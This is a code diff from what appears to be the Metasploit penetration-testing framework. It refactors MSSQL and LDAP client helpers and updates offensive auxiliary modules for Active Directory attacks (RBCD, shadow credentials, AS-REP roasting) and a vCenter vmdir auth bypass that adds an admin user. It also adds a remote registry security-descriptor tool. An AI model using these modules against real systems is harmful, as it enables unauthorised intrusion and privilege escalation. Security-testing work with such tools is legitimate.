elog("#{peerinfo} A base DN matching the expected format could not be found!")
|
||||
return
|
||||
end
|
||||
base_dn = result[0]
|
||||
|
||||
dlog("#{peerinfo} Discovered base DN: #{base_dn}")
|
||||
base_dn
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Executable
+4
@@ -0,0 +1,4 @@
|
||||
module Rex::Proto::LDAP
|
||||
class LdapException < RuntimeError
|
||||
end
|
||||
end
|
||||
@@ -115,10 +115,12 @@ module Rex
|
||||
def detect_platform_and_arch
|
||||
result = {}
|
||||
|
||||
server_vars = query('select @@version')[:rows][0][0]
|
||||
version_string = query('select @@version')[:rows][0][0]
|
||||
arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string
|
||||
plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string
|
||||
|
||||
result[:arch] = map_compile_arch_to_architecture(server_vars)
|
||||
result[:platform] = map_compile_os_to_platform(server_vars)
|
||||
result[:arch] = map_compile_arch_to_architecture(arch)
|
||||
result[:platform] = map_compile_os_to_platform(plat)
|
||||
result
|
||||
end
|
||||
|
||||
@@ -129,10 +131,7 @@ module Rex
|
||||
#
|
||||
|
||||
def mssql_login(user='sa', pass='', db='', domain_name='')
|
||||
disconnect if self.sock
|
||||
connect
|
||||
mssql_prelogin
|
||||
|
||||
prelogin_data = mssql_prelogin
|
||||
if auth == Msf::Exploit::Remote::AuthOption::KERBEROS
|
||||
idx = 0
|
||||
pkt = ''
|
||||
@@ -236,6 +235,7 @@ module Rex
|
||||
info = {:errors => []}
|
||||
info = mssql_parse_reply(resp, info)
|
||||
self.initial_connection_info = info
|
||||
self.initial_connection_info[:prelogin_data] = prelogin_data
|
||||
|
||||
return false if not info
|
||||
return info[:login_ack] ? true : false
|
||||
@@ -468,6 +468,7 @@ module Rex
|
||||
info = {:errors => []}
|
||||
info = mssql_parse_reply(resp, info)
|
||||
self.initial_connection_info = info
|
||||
self.initial_connection_info[:prelogin_data] = prelogin_data
|
||||
|
||||
return false if not info
|
||||
info[:login_ack] ? true : false
|
||||
@@ -477,85 +478,20 @@ module Rex
|
||||
#this method send a prelogin packet and check if encryption is off
|
||||
#
|
||||
def mssql_prelogin(enc_error=false)
|
||||
pkt = ""
|
||||
pkt_hdr = ""
|
||||
pkt_data_token = ""
|
||||
pkt_data = ""
|
||||
disconnect if self.sock
|
||||
connect
|
||||
|
||||
|
||||
pkt_hdr = [
|
||||
TYPE_PRE_LOGIN_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x00, # PacketID
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
version = [0x55010008, 0x0000].pack("Vv")
|
||||
|
||||
# if manually set, we will honour
|
||||
if tdsencryption == true
|
||||
encryption = ENCRYPT_ON
|
||||
else
|
||||
encryption = ENCRYPT_NOT_SUP
|
||||
end
|
||||
|
||||
instoptdata = "MSSQLServer\0"
|
||||
|
||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||
|
||||
idx = 21 # size of pkt_data_token
|
||||
pkt_data_token << [
|
||||
0x00, # Token 0 type Version
|
||||
idx , # VersionOffset
|
||||
version.length, # VersionLength
|
||||
|
||||
0x01, # Token 1 type Encryption
|
||||
idx = idx + version.length, # EncryptionOffset
|
||||
0x01, # EncryptionLength
|
||||
|
||||
0x02, # Token 2 type InstOpt
|
||||
idx = idx + 1, # InstOptOffset
|
||||
instoptdata.length, # InstOptLength
|
||||
|
||||
0x03, # Token 3 type Threadid
|
||||
idx + instoptdata.length, # ThreadIdOffset
|
||||
0x04, # ThreadIdLength
|
||||
|
||||
0xFF
|
||||
].pack("CnnCnnCnnCnnC")
|
||||
|
||||
pkt_data << pkt_data_token
|
||||
pkt_data << version
|
||||
pkt_data << encryption
|
||||
pkt_data << instoptdata
|
||||
pkt_data << threadid
|
||||
|
||||
pkt_hdr[2] = pkt_data.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
||||
pkt = mssql_prelogin_packet
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
|
||||
idx = 0
|
||||
data = parse_prelogin_response(resp)
|
||||
|
||||
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||
token = resp.slice!(0, 5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
if token[0] == 0x01
|
||||
|
||||
idx += token[1]
|
||||
break
|
||||
end
|
||||
end
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||
else
|
||||
unless data[:encryption]
|
||||
framework_module.print_error("Unable to parse encryption req " \
|
||||
"during pre-login, this may not be a MSSQL server")
|
||||
encryption_mode = ENCRYPT_NOT_SUP
|
||||
data[:encryption] = ENCRYPT_NOT_SUP
|
||||
end
|
||||
|
||||
##########################################################
|
||||
@@ -573,7 +509,7 @@ module Rex
|
||||
#
|
||||
##########################################################
|
||||
|
||||
if encryption_mode == ENCRYPT_REQ
|
||||
if data[:encryption] == ENCRYPT_REQ
|
||||
# restart prelogin process except that we tell SQL Server
|
||||
# than we are now able to encrypt
|
||||
disconnect if self.sock
|
||||
@@ -586,27 +522,15 @@ module Rex
|
||||
"been enabled based on server response.")
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
data = parse_prelogin_response(resp)
|
||||
|
||||
idx = 0
|
||||
|
||||
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||
token = resp.slice!(0, 5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
if token[0] == 0x01
|
||||
idx += token[1]
|
||||
break
|
||||
end
|
||||
end
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||
else
|
||||
unless data[:encryption]
|
||||
framework_module.print_error("Unable to parse encryption req " \
|
||||
"during pre-login, this may not be a MSSQL server")
|
||||
encryption_mode = ENCRYPT_NOT_SUP
|
||||
data[:encryption] = ENCRYPT_NOT_SUP
|
||||
end
|
||||
end
|
||||
encryption_mode
|
||||
data
|
||||
end
|
||||
|
||||
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
|
||||
|
||||
@@ -86,6 +86,88 @@ module ClientMixin
|
||||
end
|
||||
end
|
||||
|
||||
def mssql_prelogin_packet
|
||||
pkt = ""
|
||||
pkt_hdr = ""
|
||||
pkt_data_token = ""
|
||||
pkt_data = ""
|
||||
|
||||
|
||||
pkt_hdr = [
|
||||
TYPE_PRE_LOGIN_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x00, # PacketID
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
version = [0x55010008, 0x0000].pack("Vv")
|
||||
|
||||
# if manually set, we will honour
|
||||
if tdsencryption == true
|
||||
encryption = ENCRYPT_ON
|
||||
else
|
||||
encryption = ENCRYPT_NOT_SUP
|
||||
end
|
||||
|
||||
instoptdata = "MSSQLServer\0"
|
||||
|
||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||
|
||||
idx = 21 # size of pkt_data_token
|
||||
pkt_data_token << [
|
||||
0x00, # Token 0 type Version
|
||||
idx , # VersionOffset
|
||||
version.length, # VersionLength
|
||||
|
||||
0x01, # Token 1 type Encryption
|
||||
idx = idx + version.length, # EncryptionOffset
|
||||
0x01, # EncryptionLength
|
||||
|
||||
0x02, # Token 2 type InstOpt
|
||||
idx = idx + 1, # InstOptOffset
|
||||
instoptdata.length, # InstOptLength
|
||||
|
||||
0x03, # Token 3 type Threadid
|
||||
idx + instoptdata.length, # ThreadIdOffset
|
||||
0x04, # ThreadIdLength
|
||||
|
||||
0xFF
|
||||
].pack('CnnCnnCnnCnnC')
|
||||
|
||||
pkt_data << pkt_data_token
|
||||
pkt_data << version
|
||||
pkt_data << encryption
|
||||
pkt_data << instoptdata
|
||||
pkt_data << threadid
|
||||
|
||||
pkt_hdr[2] = pkt_data.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack('CCnnCC') + pkt_data
|
||||
pkt
|
||||
end
|
||||
|
||||
def parse_prelogin_response(resp)
|
||||
data = {}
|
||||
if resp.length > 5 # minimum size for response specification
|
||||
version_index = resp.slice(1, 2).unpack('n')[0]
|
||||
|
||||
major = resp.slice(version_index, 1).unpack('C')[0]
|
||||
minor = resp.slice(version_index+1, 1).unpack('C')[0]
|
||||
build = resp.slice(version_index+2, 2).unpack('n')[0]
|
||||
|
||||
enc_index = resp.slice(6, 2).unpack('n')[0]
|
||||
data[:encryption] = resp.slice(enc_index, 1).unpack('C')[0]
|
||||
end
|
||||
|
||||
if major && minor && build
|
||||
data[:version] = "#{major}.#{minor}.#{build}"
|
||||
end
|
||||
|
||||
return data
|
||||
end
|
||||
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
|
||||
Executable
+18
@@ -0,0 +1,18 @@
|
||||
module Rex::Proto::Sasl
|
||||
# Wrap the data in a SASL structure, per RFC 4422 (basically just prepends a big-endian encoded 32-bit integer representing the length)
|
||||
def wrap_sasl(data)
|
||||
length = [data.length].pack('N')
|
||||
|
||||
length + data
|
||||
end
|
||||
|
||||
# Unwraps the data from a SASL structure, per RFC 4422
|
||||
def unwrap_sasl(data)
|
||||
length = data[0,4].unpack('N')[0]
|
||||
if length != data.length + 4
|
||||
raise ArgumentError.new('Invalid SASL structure')
|
||||
end
|
||||
|
||||
data[4,length]
|
||||
end
|
||||
end
|
||||
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::MsIcpr
|
||||
include Msf::Exploit::Remote::MsSamr
|
||||
include Msf::Exploit::Remote::MsSamr::Computer
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -258,7 +258,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
quota = nil
|
||||
begin
|
||||
ldap_open do |ldap|
|
||||
ldap_connection do |ldap|
|
||||
ldap_options = {
|
||||
filter: Net::LDAP::Filter.eq('objectclass', 'domainDNS'),
|
||||
attributes: 'ms-DS-MachineAccountQuota',
|
||||
@@ -290,7 +290,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_error("#{peer} #{msg}")
|
||||
end
|
||||
|
||||
def ldap_open
|
||||
def ldap_connection
|
||||
ldap_peer = "#{rhost}:#{datastore['LDAP_PORT']}"
|
||||
base = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')
|
||||
ldap_options = {
|
||||
@@ -327,7 +327,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def impersonate_dc(computer_name)
|
||||
ldap_open do |ldap|
|
||||
ldap_connection do |ldap|
|
||||
dc_dnshostname = get_dnshostname(ldap, datastore['DC_NAME'])
|
||||
print_status("Attempting to set the DNS hostname for the computer #{computer_name} to the DNS hostname for the DC: #{datastore['DC_NAME']}")
|
||||
domain_to_ldif = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')
|
||||
|
||||
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::MsSamr
|
||||
include Msf::Exploit::Remote::MsSamr::Computer
|
||||
include Msf::OptionalSession::SMB
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::OptionalSession::LDAP
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
IGNORED_ATTRIBUTES = [
|
||||
@@ -109,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
unless (@base_dn = ldap.base_dn)
|
||||
fail_with(Failure::NotFound, "Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
@@ -118,10 +119,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
send("action_#{action.name.downcase}")
|
||||
print_good('The operation completed successfully!')
|
||||
end
|
||||
rescue Errno::ECONNRESET
|
||||
fail_with(Failure::Disconnected, 'The connection was reset.')
|
||||
rescue Rex::ConnectionError => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
|
||||
fail_with(Failure::NoAccess, e.message)
|
||||
rescue Net::LDAP::Error => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
def get_certificate_template
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::OptionalSession::LDAP
|
||||
|
||||
ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze
|
||||
|
||||
@@ -138,7 +139,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
unless (@base_dn = ldap.base_dn)
|
||||
print_warning("Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
@@ -153,8 +154,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
send("action_#{action.name.downcase}", obj)
|
||||
end
|
||||
rescue Errno::ECONNRESET
|
||||
fail_with(Failure::Disconnected, 'The connection was reset.')
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
|
||||
fail_with(Failure::NoAccess, e.message)
|
||||
rescue Net::LDAP::Error => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
def action_read(obj)
|
||||
|
||||
@@ -5,8 +5,9 @@
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::OptionalSession::LDAP
|
||||
|
||||
ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze
|
||||
|
||||
@@ -114,7 +115,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
if (@base_dn = ldap.base_dn)
|
||||
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
|
||||
else
|
||||
print_warning("Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
@@ -133,8 +136,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fail_with(Failure::UnexpectedReply, e.message)
|
||||
end
|
||||
end
|
||||
rescue Errno::ECONNRESET
|
||||
fail_with(Failure::Disconnected, 'The connection was reset.')
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
|
||||
fail_with(Failure::NoAccess, e.message)
|
||||
rescue Net::LDAP::Error => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
def action_list(obj)
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::OptionalSession::LDAP
|
||||
include Msf::Exploit::Remote::CheckModule
|
||||
|
||||
def initialize(info = {})
|
||||
@@ -42,6 +43,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'DefaultAction' => 'Add',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'RPORT' => 636, # SSL/TLS
|
||||
'CheckModule' => 'auxiliary/gather/vmware_vcenter_vmdir_ldap'
|
||||
},
|
||||
'Notes' => {
|
||||
@@ -53,10 +55,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(636), # SSL/TLS
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
OptString.new('NEW_USERNAME', [false, 'Username of admin user to add']),
|
||||
OptString.new('NEW_PASSWORD', [false, 'Password of admin user to add'])
|
||||
OptString.new('NEW_USERNAME', [true, 'Username of admin user to add']),
|
||||
OptString.new('NEW_PASSWORD', [true, 'Password of admin user to add'])
|
||||
])
|
||||
end
|
||||
|
||||
@@ -99,7 +100,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
ldap_connect do |ldap|
|
||||
print_status("Bypassing LDAP auth in vmdir service at #{peer}")
|
||||
print_status("Bypassing LDAP auth in vmdir service at #{ldap.peerinfo}")
|
||||
auth_bypass(ldap)
|
||||
|
||||
print_status("Adding admin user #{new_username} with password #{new_password}")
|
||||
|
||||
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def run
|
||||
print_status("Running MS SQL Server Enumeration...")
|
||||
if session
|
||||
set_session(session.client)
|
||||
set_mssql_session(session.client)
|
||||
else
|
||||
unless mssql_login_datastore
|
||||
print_error("Login was unsuccessful. Check your credentials.")
|
||||
|
||||
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def run
|
||||
# Check connection and issue initial query
|
||||
if session
|
||||
set_session(session.client)
|
||||
set_mssql_session(session.client)
|
||||
else
|
||||
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
|
||||
if mssql_login_datastore
|
||||
|
||||
@@ -24,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
if session
|
||||
set_session(session.client)
|
||||
set_mssql_session(session.client)
|
||||
else
|
||||
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
|
||||
if mssql_login_datastore
|
||||
|
||||
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
if session
|
||||
set_session(session.client)
|
||||
set_mssql_session(session.client)
|
||||
else
|
||||
unless mssql_login_datastore
|
||||
print_error("Error with mssql_login call")
|
||||
|
||||
@@ -342,7 +342,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
|
||||
begin
|
||||
if session
|
||||
set_session(session.client)
|
||||
set_mssql_session(session.client)
|
||||
else
|
||||
print_line(" ")
|
||||
print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")
|
||||
|
||||
@@ -88,7 +88,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
begin
|
||||
if session
|
||||
set_session(session.client)
|
||||
set_mssql_session(session.client)
|
||||
else
|
||||
unless mssql_login_datastore
|
||||
print_error('Login failed')
|
||||
|
||||
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
if session
|
||||
set_session(session.client)
|
||||
set_mssql_session(session.client)
|
||||
else
|
||||
unless mssql_login_datastore
|
||||
print_error("Error with mssql_login call")
|
||||
|
||||
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
begin
|
||||
if session
|
||||
set_session(session.client)
|
||||
set_mssql_session(session.client)
|
||||
else
|
||||
unless mssql_login_datastore
|
||||
print_error("#{datastore['RHOST']}:#{datastore['RPORT']} - Invalid SQL Server credentials")
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::OptionalSession::SMB
|
||||
include Msf::Util::WindowsRegistry
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Registry Security Descriptor Utility',
|
||||
'Description' => %q{
|
||||
Read or write a Windows registry security descriptor remotely.
|
||||
|
||||
In READ mode, the `FILE` option can be set to specify where the
|
||||
security descriptor should be written to.
|
||||
|
||||
The following format is used:
|
||||
```
|
||||
key: <registry key>
|
||||
security_info: <security information>
|
||||
sd: <security descriptor as a hex string>
|
||||
```
|
||||
|
||||
In WRITE mode, the `FILE` option can be used to specify the information
|
||||
needed to write the security descriptor to the remote registry. The file must
|
||||
follow the same format as described above.
|
||||
},
|
||||
'Author' => [
|
||||
'Christophe De La Fuente'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
[ 'READ', { 'Description' => 'Read a Windows registry security descriptor' } ],
|
||||
[ 'WRITE', { 'Description' => 'Write a Windows registry security descriptor' } ]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [CONFIG_CHANGES]
|
||||
},
|
||||
'DefaultAction' => 'READ'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('KEY', [ false, 'Registry key to read or write' ]),
|
||||
OptString.new('SD', [ false, 'Security Descriptor to write as a hex string' ], conditions: %w[ACTION == WRITE], regex: /^([a-fA-F0-9]{2})+$/),
|
||||
OptInt.new('SECURITY_INFORMATION', [
|
||||
true,
|
||||
'Security Information to read or write (see '\
|
||||
'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/23e75ca3-98fd-4396-84e5-86cd9d40d343 '\
|
||||
'(default: OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION)',
|
||||
RubySMB::Field::SecurityDescriptor::OWNER_SECURITY_INFORMATION |
|
||||
RubySMB::Field::SecurityDescriptor::GROUP_SECURITY_INFORMATION |
|
||||
RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION
|
||||
]),
|
||||
OptString.new('FILE', [
|
||||
false,
|
||||
'File path to store the security descriptor when reading or source file path used to write the security descriptor when writing'
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def do_connect
|
||||
if session
|
||||
print_status("Using existing session #{session.sid}")
|
||||
client = session.client
|
||||
self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
|
||||
simple.connect("\\\\#{simple.address}\\IPC$")
|
||||
else
|
||||
connect
|
||||
begin
|
||||
smb_login
|
||||
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
|
||||
fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
|
||||
end
|
||||
end
|
||||
|
||||
report_service(
|
||||
host: simple.address,
|
||||
port: simple.port,
|
||||
host_name: simple.client.default_name,
|
||||
proto: 'tcp',
|
||||
name: 'smb',
|
||||
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
|
||||
)
|
||||
|
||||
begin
|
||||
@tree = simple.client.tree_connect("\\\\#{simple.address}\\IPC$")
|
||||
rescue RubySMB::Error::RubySMBError => e
|
||||
fail_with(Module::Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
|
||||
end
|
||||
|
||||
begin
|
||||
@winreg = @tree.open_file(filename: 'winreg', write: true, read: true)
|
||||
@winreg.bind(endpoint: RubySMB::Dcerpc::Winreg)
|
||||
rescue RubySMB::Error::RubySMBError => e
|
||||
fail_with(Module::Failure::Unreachable, "Error when connecting to 'winreg' interface ([#{e.class}] #{e}).")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
do_connect
|
||||
|
||||
case action.name
|
||||
when 'READ'
|
||||
action_read
|
||||
when 'WRITE'
|
||||
action_write
|
||||
else
|
||||
print_error("Unknown action #{action.name}")
|
||||
end
|
||||
ensure
|
||||
@winreg.close if @winreg
|
||||
@tree.disconnect! if @tree
|
||||
# Don't disconnect the client if it's coming from the session so it can be reused
|
||||
unless session
|
||||
simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client)
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def action_read
|
||||
fail_with(Failure::BadConfig, 'Unknown registry key, please set the `KEY` option') if datastore['KEY'].blank?
|
||||
|
||||
sd = @winreg.get_key_security_descriptor(datastore['KEY'], datastore['SECURITY_INFORMATION'], bind: false)
|
||||
print_good("Raw security descriptor for #{datastore['KEY']}: #{sd.bytes.map { |c| '%02x' % c.ord }.join}")
|
||||
|
||||
unless datastore['FILE'].blank?
|
||||
remote_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :sam)
|
||||
remote_reg.save_to_file(datastore['KEY'], sd, datastore['SECURITY_INFORMATION'], datastore['FILE'])
|
||||
print_good("Saved to file #{datastore['FILE']}")
|
||||
end
|
||||
end
|
||||
|
||||
def action_write
|
||||
if datastore['FILE'].blank?
|
||||
fail_with(Failure::BadConfig, 'Unknown security descriptor, please set the `SD` option') if datastore['SD'].blank?
|
||||
fail_with(Failure::BadConfig, 'Unknown registry key, please set the `KEY` option') if datastore['KEY'].blank?
|
||||
sd = datastore['SD']
|
||||
key = datastore['KEY']
|
||||
security_info = datastore['SECURITY_INFORMATION']
|
||||
else
|
||||
print_status("Getting security descriptor info from file #{datastore['FILE']}")
|
||||
remote_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :sam)
|
||||
sd_info = remote_reg.read_from_file(datastore['FILE'])
|
||||
sd = sd_info['sd']
|
||||
key = sd_info['key']
|
||||
security_info = sd_info['security_info']
|
||||
vprint_line(" key: #{key}")
|
||||
vprint_line(" security information: #{security_info}")
|
||||
vprint_line(" security descriptor: #{sd}")
|
||||
end
|
||||
|
||||
sd = sd.chars.each_slice(2).map { |c| c.join.to_i(16).chr }.join
|
||||
@winreg.set_key_security_descriptor(key, sd, security_info, bind: false)
|
||||
print_good("Security descriptor set for #{key}")
|
||||
rescue RubySMB::Dcerpc::Error::WinregError => e
|
||||
fail_with(Failure::Unknown, "Unable to set the security descriptor for #{key}: #{e}")
|
||||
end
|
||||
end
|
||||
@@ -42,12 +42,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status("Running the simple auxiliary module with action #{action.name}")
|
||||
end
|
||||
|
||||
# auxiliary modules can register new commands, they all call cmd_* to
|
||||
# dispatch them
|
||||
def auxiliary_commands
|
||||
{ 'aux_extra_command' => 'Run this auxiliary test commmand' }
|
||||
end
|
||||
|
||||
# Framework automatically registers `cmd_*` methods to be dispatched when the
|
||||
# corresponding command is used. For example, here this method will be called
|
||||
# when entering the `aux_extra_command` command in the console.
|
||||
def cmd_aux_extra_command(*args)
|
||||
print_status("Running inside aux_extra_command(#{args.join(' ')})")
|
||||
end
|
||||
|
||||
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Kerberos::Client
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Exploit::Remote::LDAP::Queries
|
||||
include Msf::OptionalSession::LDAP
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -42,11 +43,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOSTS(nil, true, 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html'),
|
||||
OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),
|
||||
OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),
|
||||
OptString.new('Rhostname', [ true, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
|
||||
]
|
||||
)
|
||||
register_option_group(name: 'SESSION',
|
||||
description: 'Used when connecting to LDAP over an existing SESSION',
|
||||
option_names: %w[RHOSTS],
|
||||
required_options: %w[SESSION RHOSTS])
|
||||
register_advanced_options(
|
||||
[
|
||||
OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),
|
||||
@@ -99,11 +105,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
ldap_connect do |ldap|
|
||||
validate_bind_success!(ldap)
|
||||
unless (base_dn = discover_base_dn(ldap))
|
||||
unless (base_dn = ldap.base_dn)
|
||||
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
|
||||
end
|
||||
|
||||
schema_dn = find_schema_dn(ldap, base_dn)
|
||||
schema_dn = ldap.schema_dn
|
||||
filter_string = ldap_query['filter']
|
||||
attributes = ldap_query['attributes']
|
||||
begin
|
||||
@@ -136,7 +142,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
client_name: username,
|
||||
realm: datastore['DOMAIN'],
|
||||
offered_etypes: etypes,
|
||||
rport: 88
|
||||
rport: 88,
|
||||
rhost: datastore['RHOST']
|
||||
)
|
||||
hash = format_as_rep_to_john_hash(res.as_rep)
|
